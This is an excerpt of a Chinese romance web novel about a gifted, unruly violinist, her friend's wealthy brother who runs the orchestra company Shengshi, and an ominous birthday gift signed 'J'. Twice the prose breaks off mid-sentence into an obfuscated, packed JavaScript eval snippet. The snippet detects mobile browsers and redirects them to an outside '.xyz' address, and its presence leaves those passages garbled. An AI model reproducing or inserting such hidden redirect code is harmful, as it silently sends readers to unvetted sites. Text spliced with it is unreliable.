晨珀觉得可笑。谁和他闹?他以为他是谁?不想要的时候就忽冷忽热的逗着她玩,想要的时候就不顾她的意愿干涉她的生活,甚至直接抓着她吻! 真当她玩具吗? 她抽回手,朝他腿上重重踢了一脚,“晚了。” 那一脚很重,他痛的嘶了一声,见她要走,又从后面扣住了她的腰,将人按在怀里。 他的呼吸埋在她头顶发间,有沉沉叹息声传来。 初冬夜冷,男子的气息温热而湿润,那股幽淡的香水味如看不见的丝网般将她一层层缠绕。他的怀里很温暖,即便隔着层层衣物她也能感觉到。 他比她大三岁,她和唐羽琦刚升高三那会,他已经考到了驾照,一周有一两天时间,他都会开车来学校接羽琦。 黑色敞篷小跑,外加长腿美男,几乎他每次来,学校的女生们便会簇拥着围观,将校外的路堵了一半。 唐家家境不凡,爷爷那一辈都是艺术家,父从商,母从文,也算半个书香门第,家教自然也严谨。不管唐晗本身个性如何,在外人面前,他早已习惯了礼貌以对。 那些女生们簇拥围观,他便露出淡淡微笑。他长相无可挑剔,眉峰虽凌厉,可偏偏生了双桃花眼,一笑之下,温柔尽显,面容上混合了少年的秀气美丽和成熟男子的沉稳气质,比起屏幕里闪耀的明星都不逞多让,根本不是学校里那些尚未发育完全的青涩男生可以比拟的。女生们心防失守,没几回后便将他捧成了男神偶像来看待。 有大胆的女生甚至会提前准备一些小礼物,在唐晗来学校的时候,赶在唐羽琦出现前送给他。面对一群青春年少女生的崇拜,唐晗始终都温柔礼待,那些小礼物也不无例外的收下放在车上。 唐羽琦每回上车时看到都会朝自家哥哥翻个大白眼,明明转头就将这些小礼物丢进垃圾桶,可等到下回别人给的时候又一一将礼物收下。这种表里不一的虚伪,让唐羽琦不屑极了。 唐羽琦向晨珀抱怨这事之后,晨珀对唐晗的印象就更不好了。同班的女生几乎把唐晗当成明星来崇拜,那些小礼物虽然简单,但却都是她们费尽心思准备的,一些吃的用的更是她们省下了零花钱才买来的。 他如果拒绝倒还好,起码她们知道他不收以后就不会再送了。 可唐晗在人前笑着收了,人后却不在意的丢掉,这种行为真让人无语。 整件事情的转折点发生在唐羽琦生日当晚,唐家虽然显赫,但唐羽琦毕竟还小,唐母不想把女儿的生日弄得太过隆重,就在湖区的别墅里替她举办了一个小型生日会,让她自己请些朋友过来,开个Party。 自从唐晗在学校现身后,唐羽琦在学校受到了广大女生的关注,聪明的女生会故意和她搞好关系,想借着“妹妹好朋友”的裙带关系和唐晗拉近距离。 唐羽琦脾气很好,但也分得清楚虚情假意,加上实在不耐烦这些乱七八糟的事,所以最后在学校里只邀请了晨珀以及几个原本和她关系不错的女生。 生日宴会当天是周六,唐羽琦下午去了造型沙龙化妆打扮,她原本是想带上晨珀一起去的,可惜那天下午她要上小提琴课。 当时给晨珀授课的是一位很有名的小提琴教授,课程时间不能变更,上课时间是下午三点到五点。唐羽琦怕她来不及去别墅,就遣了自家哥哥开车去接。 7. 过往 从晨珀上课的地方到开Party的别墅几乎要横穿整个城市,唐晗怕迟到,上了高架后车速就快起来,他倒是没什么感觉,晨珀却看起来有些紧张,将原本搁在腿前的小提琴盒拿起来紧紧抱在身上。 她那时留齐耳短发,黑色的齐刘海浓密而可爱,挡去了大半额头,衬得一张巴掌大的脸愈发小巧白嫩。这还是他第一次和她单独相处,见她抱着琴盒一动不动的看着前方,也不说话,那明明紧张却安静乖巧的模样让他心里莫名一软。 “怕了?”他勾唇笑道,脚却下意识松了些油门。 她没出声,隔了会才似乎反应过来:“你在和我说话?” 唐晗不信有人的反射弧能慢到这个地步,以为她故意装傻,心想原来自己也看走眼了,还以为她单纯,原来也这么会装。 他视线瞥向她:“这车上还有第三个人吗?” 那双漆黑的眼瞳朝他看了过去,女孩像是没听见他的嘲讽,脸上仍是淡淡的:“我不是怕速度快。我是怕你开太快,刹车时会撞到我的琴。” 唐晗的眉头皱了起来,这话怎么听起来让他有点不爽? “你想太多了,以我的车技,这根本不可能发生。”他姿态高调的丢话,同时将她怀里抱着小提琴盒转移到了后座上。他手长,动作又快,前后不过几秒的时间,晨珀完全没反应过来。 她似乎有些着急的朝后看去,那模样让他更不爽了,伸手揉乱了她可爱顺滑的短发:“坐好!开车呢!” 说话的同时,他加大了油门,车速一下子提了上去。 跑车优越性能带来的推背感让晨珀身体一直,这次倒是真的有点怕了。 他一路飙车,下高架转入湖区后车速也没减多少,初春时节,天黑的很快,湖区有一小段路正在修,恰好今晚路灯也坏了,不过唐晗不常去别墅,并不知道。 当车前灯照到前方一个大坑时,唐晗想要刹车已经晚了,小跑车像越野车挑战极限路段那样上下剧烈跳动了数下,即便系着安全带,晨珀的头也狠狠撞上了车顶。 车子很快在路边停下,唐晗没系安全带,头撞的更重一点,正按着头部回神之际,却听见身旁女孩担忧而焦急的声音:“没事吧?没事吧?” 他一时没缓过来,只是冲她摆摆手,她却似乎更急了,解了安全带整个人朝他靠过去:“你有没有事?有没有事?……” 这发自肺腑的关心让他心下一暖,之前那点不爽的恼意倒是全消了,尽管仍然痛的厉害,他还是温柔回了句“我没事”,然后抬头打算也关心一下她。 结果他抬头,却发现那女孩几乎大半个身体就趴上了后排,只剩下脚还在前排,鞋底还在他前方的车载屏幕上蹬了两下。 她的声音听起来更焦急了,似乎在快速打开她的小提琴盒:“没事吧,Messiah!你可不能有事!” 黑暗中,她看不清琴的情况,又用力蹬着脚,整个人都翻去了后排,开了后面的车内灯细细看着她的琴。期间,她的鞋子不小心踩中他的腿,留下一个灰色的脚印,她居然完全没感觉到。 唐晗:“……” 他在心里狠狠骂了句粗话。这丫头担心万分的居然不是他这个大活人,而是她后排的小提琴!? Messiah? 他这辈子还是第一次见到会和一架小提琴说话的人!而他唐晗,居然还比不过一架小提琴! 一时间,各种古怪的情绪汹涌而来,震愕、恼怒、难堪……他这辈子从来没被这样无视对待过。 这天后来,直至抵达湖边别墅,那女孩都没想过开口关心他一句。剩下的路段,她一直坐在后排,默默低头看着她的琴,不时动作温柔的抚摸一下。 那晚,唐晗自虐的看着后视镜,嘴角抽搐了整整十五分钟…… 很久之后,当晨珀终于从唐羽琦口中知道所有事情的源头时,她已经被唐晗翻来覆去折腾了个遍。 看着好友在一旁咬牙切齿的指责自家哥哥的不耻行为,晨珀倒没有多大怒意。该气的,该恼的,这两年也都散的差不多了。 可就算让她重来一次,她第一时间关心的仍然会是小提琴。 因为那天装在盒子的并不是她平常练习的普通小提琴,而是被她老爸视若珍宝的——弗朗切斯科·瓜达尼尼1898。 这把小提琴是弗朗切斯科·瓜达尼尼一生中最好的作品,是仿照着安东尼奥·斯特拉迪瓦里1716“救世主”(Messiah)制作的,虽然不能和天价的斯氏琴相比,但流传至今,也是不可多得的昂贵名琴。 因为太珍贵,平时她老爸根本不让她碰,更别提拉了。 ### 她从六岁开始跟着父亲学习小提琴,那个年纪其实根本还不懂所谓梦想,就连喜好一说也是朦朦胧胧的。 那时她不过是比较喜欢听音乐,每次听到老妈弹钢琴都会合着节奏点头晃脑的拍手,老妈问小小的她要不要学弹琴,她点头说要,结果被老爸看到,于是最后成了跟他拉小提琴。 小提琴并不是一门容易的器乐——至少比钢琴要难得多。父亲的小提琴水准只能说一般,连想进交响乐乐队当个普通的小提琴手都做不到,但给她启蒙却绰绰有余了。 起先一家三口谁都没当真,父母当是给她多一个兴趣爱好,于她则多了架会发声的木头玩具。然而,两年之后,当她参加小提琴院外五级考级考试取得“优秀”二字的成绩后,一切全变了。 院外器乐考试一般分十级,小提琴算上手难一点,但两年五级也不是没有人能做到。关键是“优秀”二字。 考级成绩分为:优秀、良好、合格以及不合格四项。 一般七八岁的小孩过级都是评分为合格,良好很少,而优秀根本是凤毛麟角。 每一年的考级,一旦取得优秀的成绩,不仅考生可以在当届考级的颁奖典礼上演出和领奖,就连考生的老师也能获得学院颁发的优秀老师证书——且颁奖人请的是这一领域极有名气的器乐家。 这对考生和老师,都是一种莫大的荣誉和肯定。 晨父钟爱小提琴,无奈能力有限水平普通,从未在这方面获过奖。他没有想到,人生第一个小提琴奖项,居然是年仅八岁的女儿带给他的! 上台领奖那天,当他从著名的小提琴演奏家冯光生手里领取证书的时候,连手都是抖的。 那天晚上,是晨珀第一次见到父亲从琴盒里取出收藏已久的瓜达尼尼。 她好奇这把琴,伸手想去拿,但父亲却只是拿着琴给她摸了摸,并告诉她,如果想要这把琴,就努力学习小提琴,以后进入大型交响乐团当首席小提琴手,在舞台上发光发热。到那个时候,这把琴才会属于她。 那会晨珀才八岁多,对于首席小提琴手这种事根本没概念,倒是对这把百年名琴惦记上了。 第一次背着老爸拉它是在十一岁那年,那次她终于找到了老爸藏起来的琴盒钥匙。虽然还不太懂,但那种如钻石般闪亮的音色以及承载着百年历史的古旧琴身,根本不是她练习用的小提琴可以比拟的。 那次后,她每隔一段时间就会找机会偷偷去拉Messiah,这是她依照那把斯氏琴取的名字。 说实在的,晨珀虽然在小提琴方面很有天赋,但她并不十分喜欢拉琴——尤其在她得到考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780688|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级优秀,父亲开始重视并严格规划她的小提琴人生之后。 她喜欢音乐,但更喜欢现代流行乐,而那些曲子在父亲眼中恰恰是浪费时间和不务正业,但凡听到她拉那些,都会语重心长的和她聊一聊。 然而,每次拉Messiah——即便是拉自己讨厌的古典乐,她心里也会有种很奇妙的感觉,或许因为它的历史和意义,它的音质和手感,更因为她父亲的不许可。 她喜欢这把琴,反正它早晚是她的,只可惜老爸盯得紧,她也怕被发现,每回都是趁着爸妈不在家,偷偷拉一下,又匆匆忙放好。 唐羽琦生日那几天,她老爸老妈被几个老朋友拖去旅行了,大约四五天时间都不在家。所以去上课之前,她把Messiah小心翼翼的取出放在自己的小提琴盒里。 后来回想起来,之后一连串发生的事,大概都是从这个举动开始的。 就像是连锁反应一样,一件连着一件,无法避免,也无路可退,让人措手不及,却像是命中注定。 即便到了事隔七年多的现在,这个连锁反应还是没有结束,依然影响着她的人生。 ### 晨珀觉得有点不可思议,那晚唐晗抱着她明明只是很短暂的片刻,她脑海中却翻涌出那么多往事。她再次挣脱离开时,他没有勉强,只是坚持要送她回家。 一路彼此无话,车上的气氛有点尴尬。 她下车关门的时候,却听见他在身后喊她,“晨珀,今晚我说的那些话……是认真的。”他的声音有些迟疑,像是少了一贯的自信与骄傲,带了些不确定的试探。 夜色里,他隔着车窗与她遥遥相望,眸光如星。见她回视自己,他顿时笑她笑了笑,“记得不要让等太久,太久的话我会消失不见的!”那笑容美丽而灼目,带着他一贯的自信与飞扬。 车窗升起,车子飞快驶离。 唐晗始终是唐晗,哪怕示软,也不过只是片刻。他条件太好,太有自信,连一句喜欢都没有,就已经强硬的想听她的答案么?还是,无论她给出什么答案,最终他都会将她划入私人领域? 这也未免太想当然了吧! 想到这里,晨珀淡淡扯了扯嘴角,有些不耐的搁下小提琴。 面前的谱架上,是《巴斯克随想曲》繁复冗长而快速的跳弓部分曲谱,这段她总是拉不好。速度太快,技巧也高,想要在短时间内掌握,需要一遍遍反反复复的练。偏偏她这个人,对于单调枯燥的练习向来不喜欢。 这部分本来不是她负责的,结果休息回来,副团却给了她新的任务——三天之内,完成《巴斯克随想曲》整曲独奏。 至于理由,当时副团看她一眼,淡淡道:“这是乐团给你的任务,你现在先拉一次给我听。” 晨珀:“……” 在副团看来,集体演奏和独奏并无太大区别,总归是同一首曲子。而且这曲子也不是第一次作为演出曲目,乐团几个小提琴手都会,不过是拉好拉差的问题。 他忘记了,实际上独奏的乐谱和合奏乐谱并不一样。尤其是这首,之前已被鲁夫斯——声世从莫斯科爱乐乐团高薪挖角过来的乐队指挥改动过。因为难度大,所以协奏的地方都切的很碎,乐队各成员各司其职合作,反而不难。 独奏就不同了,即便届时台上有钢琴伴奏,但她用小提琴演奏原曲,一个音符都不能漏。 他要听,晨珀便拉了。 几分钟后,副团脸色顿时变得诡异,随后吩咐她这几天都不用参加集训,所有时间都待在琴房练习《巴斯克随想曲》。 三天下来,有古典乐反复恐惧症的晨珀表示有点想吐了…… 8. 礼物 声世乐队副团叫林栋,是个三十来岁的男人,面貌普通,演奏技能中上,但胜在非常有乐团经验,人又正派耿直,所以乐团里面一些大大小小的零散事务,都交由他处理。 他在声世数年,但凡交到他手里的任务,不说全部,九成九基本都能完成。 然而这几天,他却有些烦恼,尤其中午吃饭前跑了一趟四楼的某间练习室,在门外借着缝隙听了会壁角后,感觉整个人都不好了。 “总监,我想知道,是不是上面谁看我不顺眼在整我?”午餐时间,林栋把乐团总监堵在了他的办公室里。 乐团总监耿硕东推推眼镜,笑问他怎么了。 晨珀独奏《巴斯克随想曲》这个任务,其实是耿硕东交代给他的,说是高层决定。乐团演出时节目常有变动,不是很大型的演出,独奏、小协奏也会适当添加,但是让一个新人独自负责一个节目却从来没有过。 林栋觉得意外,但也不是太担心,毕竟集训也好一段时间了——直到之前听完晨珀的独奏。 他只能说,晨珀拉琴的方式散漫到了极点。 萨拉萨蒂的这首名曲的确不算容易,他也没指望她一上来就能拉出完美成品,不过就算速度慢一点,音符节奏总是要正确的吧。 晨珀倒好,一扬弓,速度半点没减,但期间各种漏音不计其数,连续弓根断奏被直接拉成连奏,击弓加左手拨弦那段直接删了拨弦的音符,至于最后那段华丽快速的跳弓她直接停了下来,表示自己没练过…… 林栋当时就很想问候一下她的小提琴授课老师,不过想着怎么也是声世录取进来的,就当之前没怎么练过吧,好歹大体她还是会的,突击训练几天应该可以吧? 结果刚刚他去琴房的时候,透过门上的小玻璃窗口,看见练习室内散落了一地的纸飞机,他仔细一看,发现纸飞机的纸张居然都是乐谱——整个《巴斯克随想曲》的谱子居然被折成大大小小的飞机!? 而罪魁祸首却靠坐在阳光充沛的落地窗旁,闭着眼睛用小提琴正在拉《两只老虎》…… 两、两只老虎!? 林栋:“……” “散漫、不努力、不重视乐团的任务……我真不知道,这样的新人怎么会有资格担当独奏的任务?”林栋越说越生气,连带情绪也激动起来。 耿硕东却还是笑,耐着性子听对方说完了,才道:“说不定她已经练熟了呢,任务下的急,再怎么练习也得休息不是么?好了,这件事我知道了,反正距离演出还有几天,再等等看吧。” 林栋生气大部分原因不是为了晨珀,而是对上面丢下来这个明摆着无法完成的任务。现在向总监说明了情况,心里虽然还是不快,但郁闷之气还是去了些。 等到林栋离开后,耿硕东拨打了桌上的电话,电话接通之后,他的声音里多了些恭敬:“唐总,关于您之前吩咐下来的事,稍微出了点问题……” ### 午餐时间,声世二楼至四楼大大小小的练习室里仍可见勤奋的身影。有演出或是没有演出任务的只要不冲突集训和彩排时间,都会在这里练习。 四楼角落的练习室里,背朝着门口的黑发女孩坐在落地玻璃旁的高脚圆椅上,正用一种缓慢而优美的姿势拉着曲子。唐晗在门外站定,无声将门旋开,门开了一道缝隙,原本因隔音而无声的优美演奏顿时演变成诡异而古怪的曲调。 唐晗听了半天,才发现晨珀拉的是《葫芦娃》…… 晓是他早有准备,也被这“深情并茂抒情版”的《葫芦娃》雷焦了。 这丫头一定是故意的吧,正经八百的曲子不练,光拉这些不伦不类的,算是抗议么? 他正无奈笑着,却听见里面曲调一转,她大概是拉腻了儿歌,终于拉起了抒情优美的正规小提琴曲。 唐晗进声世这几年,背后也是下过很大功夫的,不过几个小节,就听出她拉的是日本小提琴手宫本笑里的《风笛》。 宫本笑里在日本很红,他也现场听过她的演出。《风笛》这首曲子唯美缠绵,清雅宁和,但严格来说曲调稍显单薄素雅,所以每回演奏,旁边都是配备钢琴伴奏的。两者相和,才能达到最完美的演奏效果。 但现在晨珀只有一个人,却凭借手里的小提琴,连带钢琴伴奏那部分也拉了出来,这就大大增加了演奏难度。 唐晗有些意外,但看她的表情却很放松,像是兴致所起,随手而拉,根本没感觉到难度。旋律柔美,情绪饱满,而且连一个错音都没有。 正当唐晗错愕之际,晨珀弓弦一转,一连串快速而激昂的音符流泻而出,居然又换了曲子。 初一听,他以为她拉的是贝多芬《悲怆》第三乐章,然而过了片刻,他却觉察到不对,随后愈发震愕。 这样犹如瀑布般倾泻而下的激烈音符,并不是《悲怆》第三乐章原版,而是那位保加利亚殿堂级电子小提琴家Diana Boncheva演奏的改编版本《贝多芬病毒》。 这首曲子是她在韩国参赛的成名作,只要对电子小提琴感兴趣的人差不多都听过。 原曲《悲怆》是钢琴曲,而且曲速很快,《贝多芬病毒》以电音小提琴来演奏,却依旧保持了曲速,后段曲速甚至更快一些,光从这一点就比原曲要略难。 只是,电音小提琴与古典小提琴的演奏风格完全不同,音色更为丰富明亮,以电子小提琴演奏改编版《贝多芬病毒》,再恰当不过。 现在晨珀使用的却是古典小提琴。 让唐晗震愕的最重要一点就在这里,晨珀用一架古典小提琴,拉出了电子小提琴的激情与刺激! 虽然在音符细节方面仍有很多瑕疵,但这样的水准已经超乎他的想象了。 她把古典乐《巴斯克随想曲》拉得支离破碎,却又可以用古典小提琴驾驭繁琐的现代音乐,这让他完全弄不明白。 他在门口站了很久,最终没有进去。 那天之后,林栋又从高层那里得到一个新的任务,这个任务让林栋大大松了口气。 任务内容是:从即日起,将乐队新人晨珀从古典交响乐团调去电音组。 ### 晨珀得到自己莫名其妙从古典乐调去电音,和田艾丽成为抬头不见低头见的“同伴”后的当天,便直接向副团告了假。 这次用的理由很光明正大,事情来的太突然了,她需要几天时间静静…… 圣诞节快到了,街上到处都洋溢着节日的气氛,晨珀的生日就在十二月二十五日。请假的第二天,她收到一份快递,是个包装严实的纸箱子,没有落款。 箱子里面是个漂亮的纸盒,晨珀打开一看,里面是一条精美的黑色露肩小礼裙。虽然纸盒上没有印上品牌名称,但凭直觉,这条裙子应该价格不菲。 裙子上躺着一张素色卡片,上面是手写的Happy Birthday,虽然没有落款,但她猜 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晨珀:“……” “所以,你的惊喜大礼就是你自己?”晨珀斜靠在沙发的一头,手里捧了杯热奶茶,用不以为然的眼神看着沙发另一头的好友。 “你这嫌弃的眼神算什么意思?我专程飞过来给你过生日,你夸奖我一句会死吗!” 晨珀默了会,视线缓缓下移落在对方胸前,诚恳道:“你的胸好像大了点。” “……”这算是哪门子的夸奖!唐羽琦有点抓狂,不过,不得不承认这话让她挺高兴的,“真的大了么?我最近换了个内衣牌子!你要吗,回头我寄两套给你!” “……” “其实沟这种东西,真的是要挤的,你现在虽然是B,但是只要穿上这个牌子绝对能挤出C!” “……”晨珀歪在沙发上放空了眼神,她真不该夸奖她的胸部…… 两人聊了几句“日常”,唐羽琦注意到了桌上的纸盒,她看了看,随后惊讶起来,“这不是MIO么?” “什么?” “MIO啊!英国一个极其奢侈却又异常低调的贵族品牌,据说只为少数贵族和上流人士供货,没有任何样衣现货,客人购买前,直接翻看设计图挑选,选中后才按照给出的尺寸订做。因为每个款式仅此一件,加上几乎每一款设计图都出自设计大师之手,所以贵到离谱。” “有多贵?”晨珀眯起眼。 “差不多一辆中档轿车的价。” “……”这样的品牌真是好无聊啊…… “居然这么大手笔,难道是我哥?”唐羽琦看到了那张素色卡片,查看之后发现没有落款,“不过如果是他送的,应该不会不留下名字!他那个人这么高调骚包!”唐羽琦细细打量,片刻后盯着素色卡片的背面看了又看。 “怎么了?”晨珀凑过去。 “后面有字!” “什么字?” 唐羽琦轻轻读了出来:“J?” 随着这一声发音,晨珀愣了愣,随即脸色赫然白了下去。 她取过那张卡片,对着光仔细查看,素色卡片的背面,原本一片馨白的地方,在阳光下若隐若现一个大写的银色字母——J。 晨珀整个人僵在那里,她看着好友,缓缓道:“他找到我了。” 9. 他 今年的圣诞和生日,晨珀过的有点糟心。 发现礼物卡片上的落款字母后,她便准备整理行李返回Z城,后来还是唐羽琦阻止了她,理由很简单,假如那个人可以找到这里,未必会不知道她Z城的地址。 与其想着逃,不如计划一下如何应对。 对方没有亲自出现,只用送礼物的方式传达一种警告。或许他是有所顾忌,也或许他因为一些理由并不方便出现。 “也是,他再有背景,这里也不是欧洲。”晨珀的情绪很快稳定下来。 头脑虽然可以理智分析,但这件事到底成了扎在晨珀心头的一根刺,她就更没心思去声世了。 她陪着唐羽琦玩了几天,两人一起过了圣诞夜。圣诞日那天,许久没出现的唐晗接她们出去一起吃了顿饭,一是陪晨珀过生日,二是赶自己的妹妹回去读书。 唐羽琦还在读研,用唐父的话来说,家里不需要她挣钱养家,她可以自由选择生活方式。目前阶段,唐羽琦觉得简单舒适的生活更适合自己。 这是那夜之后唐晗和她第一次见面,因为有唐羽琦在,气氛倒也算不上尴尬。只是整个晚上晨珀都没怎么搭理唐晗,就连他取出送她的礼物,她也没多看他几眼。 倒是唐羽琦,被自家哥哥吓了一跳——居然是Cartier的钻石手镯,怎么会送这么贵的礼物?以前晨珀生日,他通常只送些香水和化妆品之类的。 唐羽琦眼珠在两人之间来回,她很快确定,他们之间应该发生了些她不知道的事,不过看晨珀的样子,大概并不是什么好事。 她估计自家哥哥是怕晨珀知道礼物太贵不肯收,所以手镯并没有装在原本的盒子里,而是换了个什么标记也没有的普通黑色绒盒。如此花费心思,赔罪讨好的意味真是太明显了。 不过他这样纯属多此一举,晨珀这人向来对奢侈品牌没概念,就算见到原装盒也完全不会去注意上面的牌子…… 生日次日,唐羽琦刚走,唐晗就来了电话催促她返回声世上班。 声世大厦前楼高十五层,十层以下是古典乐部,从十一层开始则是电子乐部。 后楼只有八层,两楼之间是个格局精美大气的喷泉花园,这一片是公共休闲区,周边有很多大大小小的餐饮咖啡店以及其他配套设施。 两栋大楼外观墙身皆为大幅的落地玻璃,前楼设计传统,挺拔矗立,后楼则别具匠心,外部建筑为优美的弧线,据闻里面装修时尚华丽,收藏了大量艺术珍品。 不过晨珀并没有机会进去,那里面是声世里一些大牌演奏家的私人练习室以及休息室。声世接待重要客户或艺术家时,也会安排在后楼。 为方便高层走动,两楼之间的第五层有一道全玻璃的空中走道,走道很长,两侧每隔一段距离的墙面上挂着声世自创办以来培养出个人或团队在国际大赛上取得大奖的照片。 非国际性比赛,或是一般的小型国际比赛,是没有资格挂在这里的。 所以照片的数量目前并不算多。 相比古典乐部,电子乐部的人其实并不多,所占的四个楼层,大部分都是练习室,十四楼更是有声世花重金打造的两间录音室。 除了像田艾丽这样的电音独奏家,声世还养着几个电子乐队,在圈内也小有名气。 纵观整个声世,无论古典乐还是流行乐,唐晗都有其完整的发展计划。只是目前而言,声世在正统的古典乐领域并不算十分突出,只能说他是个非常聪明的商人,懂得随市场应变,找到稳步拓展的平衡点。 晨珀报到的地点是十四层的电乐监理室。 相比乐团总监,电乐监理这个职位清闲的多。交响乐团需要大量的练习彩排,加上团内成员多,管理起来自然比较费事,所以乐团总监下,还有正副团长协助。 电子乐部则不然,三个乐队加七八名主奏,也就二十多人,平时都各自练习,不时去外地演出,又或是进录音棚录制成品曲,拍一些写真,出席符合形象的活动,配合宣传,有些类型明星经纪公司。 晨珀曾听文蕊说过,声世旗下其实有几个很有才华的顶级演奏家,在队里担任客席乐队(小提琴、中提琴、大提琴、长笛、双簧管等)首席,只是常年不在国内,且对方与声世只是合作关系,基本不受合同制约,算是声世最大的几张王牌。 而在电子乐部被冠以“电音天后”田艾丽与他们一比,还差得远呢。一边是真正有实力的古典乐演奏家,另一边却是哗众取宠的电音玩者,没法比。 文蕊说这话一方面自然是因为不喜欢田艾丽,但从另一方面也可以看出学古典器乐的人对电子器乐的态度,轻视有之,不屑有之,反正就是个玩者,充其量是个包装出来的明星,还挨不上艺术家演奏家的边。 晨珀对电子乐没有太大意见,她只是弄不明白以唐晗如今的身份,居然还能公私不明到这个地步。她学了十几年古典小提琴,进声世不到两个月,居然把她丢去电子乐部,耍人也不必这么明显吧! 晨珀从电梯升上十一层开始就各种心塞。 监理是个三四十岁的男性,叫祝霍,年轻时也组过乐队发过唱片,可惜没怎么大红就解散了。祝霍有才,但运气着实不好,也不太会做生意,连开乐器行也最终以倒闭收场。 唐晗可以说是他的伯乐,如今这份工作是他喜欢的行业,收入稳定,又受人尊重,所以他进声世后一直对工作一直很认真。 祝霍原本对晨珀来电子乐部报到却带着古典器乐有些不满,不过见她长得恬淡温柔,加上又是唐晗下达的调令,便也没为难她,只和颜悦色的问道:“有用得称手的电子小提琴吗?” “我没有用过电提。” 他闻言又看了她一眼,“从来没用过?” “没有。” 祝霍一时无语了,电提和古典小提琴虽然功用一样,使用起来的技巧也相同,但演奏方式却完全不同。也是一般所说的手感问题,虽然不算什么大问题,但也是需要练习才能掌握的。 就算是裙带关系调过来的,这也有点太离谱了吧! 他考虑了下,最后吩咐了一件令晨珀心塞加N次方的事。 ### 田艾丽坐在斜对面的靠背椅上,交叠双腿坐姿优雅,笑得……很不怀好意。 “躲?你躲来躲去最后却不得不自己送上门!你看,连老天爷都在帮我!” 晨珀:“……”关老天爷屁事,分明就是唐晗吃饱了撑的! 她瞥她一眼,继续慢条斯理的调试小提琴。 “别调了,这里是电子乐部,监理让我陪你练几天电提,你还是尽快挑一架吧!”田艾丽指指左侧玻璃柜里摆放整理的一排形状各异的电提。 “我不喜欢电提。”她虽然讨厌古典乐的繁琐和古板,但却对古典小提琴的手感情有独钟,所以即便到了电子乐部,也不代表她要改换乐器。 “这不是你喜不喜欢的问题!”田艾丽很讨厌她这种目中无人的散漫模样,像是对什么都不在乎,只凭自己的喜好做事。 “唐晗私下和我说过,除非你参加器乐公开赛的电提分赛,否则你就得在电子乐部一直待下去。”虽然她刚听到的时候很心塞,不过现在却觉得也不错。 “只要参加就行了是吧?”她就知道,绕来绕去还是绕回比赛的事。反正现在那个人连她租住的地方都知道了,她也没什么好躲的,参加就参加吧! 见她松口,田艾丽站了起来,将玻璃柜门打开:“还不来挑琴?这里可都是声世的收藏品,一般人想拉还拉不了呢!” 晨珀也不多话,上前随意拿了一架黑色的电提,抬头见田艾丽有些吃惊的看着自己:“怎么了?” 田艾丽脸上纠结了一阵,冲她哼道:“没什么!” 电提和古典小提琴最大的区别在于,电提不插电是没有声音的,因为电提都是实木做的,没有共振,需要借助音箱。也因为如此,电提的舞台效果更好更炫酷,适合快节奏的摇滚和流行乐。 田艾丽也不可能真的教晨珀使用电提,她纯粹就是来看她热闹的,见对方自己适应了一阵没闹什么笑话后,也就没兴趣继续陪着了。 田艾丽听自家母亲董事说过,最近声世有个非常重要的客人要来,届时唐晗会亲自招待。 饭局、各种娱乐活动是少不了的,以她董事千金和“电音天后”的双重身份,肯定也会参与,这是和唐晗拉近距离的好机会,她打算提前去购物和美容。 ### 晨珀在电子乐部待了几天,很快发现这里比交响乐团轻松多了,因为没有集训和彩排,以她的程度也还没到和乐队合奏的程度,至于个人练习的事,监理几乎不管。 声世提供练习室,但也不反对个人在家练习。所以,在领了电提和厚厚一叠乐谱后,晨珀开始了每天睡到自然醒的舒坦日子。 这天不是休息日,晨珀照例睡到自然醒,正在浴室刷牙时唐晗来了电话。 “在家?” “嗯。” 唐晗听出了那一头的刷牙声,他抬腕看看手表,已经十点半了:“刚起?” “嗯。” “给你二十分钟,把自己收拾好下楼。” “又干什么?”好心情瞬间全没了。 “公事,下来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780690|157957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们不能迟到。”他说完便挂了电话。 二十分钟,化妆自然是不够的,当然她也没想打扮,刷牙洗脸后,她吃了一碗牛奶泡谷物,换上牛仔裤和羊驼色的薄呢短大衣便出了门。 这次停在楼下的不是阿斯顿马丁,而是一辆七座商务车。 她刚踏出楼道,车厢门开了,唐晗露出脸:“快上来吧,对方不喜欢别人迟到,我们提早点过去。” 晨珀:“……”还真是公事啊? 她几步上了车,司机关上移门,她刚把座椅调了个舒服的角度,他的手已经摸到她脸上。 晨珀:“……”不是公事么? 她躲开,斜了他一眼。 手指微微一顿,改了方向,在她额头一弹,问道:“没化妆?”见她揉着额头一副温顺安静的模样,尽管只是这只是表面的假象,他还是忍不住笑了,“你不化妆也一样漂亮。” 刻意压低了声线里透出一种酥哑的磁性,这种接近挑逗的说话方式由他这样容貌的男子展现出来,足以令任何一个正常的女人面红耳赤。 晨珀不耐烦的伸出手,挡住他的脸,用力推开:“请你正经点。” 她一本正经的语气引得他低声笑,他拽住推自己脸的小手,在对方白嫩柔软的掌心亲了一口:“你觉得是你的手心软还是我的唇更软?” 晨珀:“……” ### 午餐地点在S城以奢华著称的度假酒店内。 晨珀他们抵达的时候,已经有几个助理模样的人等在门口。从酒店大堂拐入庭院里的喷泉通道后,周围变得安静下来。和人来人往的大堂相比,这里寂静的完全不像酒店,周围连一个人影都看不到。 要不是在酒店大堂碰见迎出来的乐团总监耿硕东和行政经理范芯一行人,晨珀都要以为这是唐晗为约她耍的花招了。 大概是感觉到晨珀的疑惑,唐晗向她解释道:“对方喜静,不喜欢人多。” “那你还让我来?” “不是欠着你一顿饭么?”他意有所指,“整个S城,这里海鲜做的最好吃,算是补给你的。” 